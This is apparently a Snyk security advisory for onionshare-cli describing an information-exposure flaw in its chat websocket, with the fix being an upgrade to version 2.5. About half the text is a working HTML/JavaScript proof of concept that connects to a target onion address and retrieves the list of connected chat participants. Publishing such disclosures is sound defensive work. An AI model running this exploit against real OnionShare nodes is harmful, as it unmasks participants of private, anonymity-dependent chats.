Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade onionshare-cli
to version 2.5 or higher.
onionshare-cli is a software that lets you securely and anonymously send and receive files. It works by starting a web server, making it accessible as a Tor onion service, and generating an unguessable web address so others can download files from you, or upload files to you. It does not require setting up a separate server or using a third party file-sharing service.
Affected versions of this package are vulnerable to Information Exposure via the chat_mode.py
file, which allows remote unauthenticated attackers to connect via websocket and to retrieve the full list of participants of a non-public OnionShare
node via the --chat
feature. The leak of chat participants happened when emitting joined
message in the websocket channel.
###PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h1>OnionShare Disclosure of Connected Users PoC</h1>
<ul id="user-list"></ul>
<script src="https://cdn.socket.io/3.1.1/socket.io.min.js" crossorigin="anonymous">
</script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js">
</script>
<script>
$(function () {
$(document).ready(function () {
var socket = io.connect(
'http://<target Onion v3 address>.onion/chat',
{
transports: ['websocket']
}
);
socket.on('connect', function () {
socket.emit('joined', {
}
);
}
);
socket.on('status', function (data) {
var userListHTML = '';
var userslist = data.connected_users;
for (i = 0; i < userslist.length; i++) {
userListHTML += `<li>${userslist[i]}</li>`;
}
$('#user-list').html(userListHTML);
}
);
}
);
}
);
</script>
</body>
</html>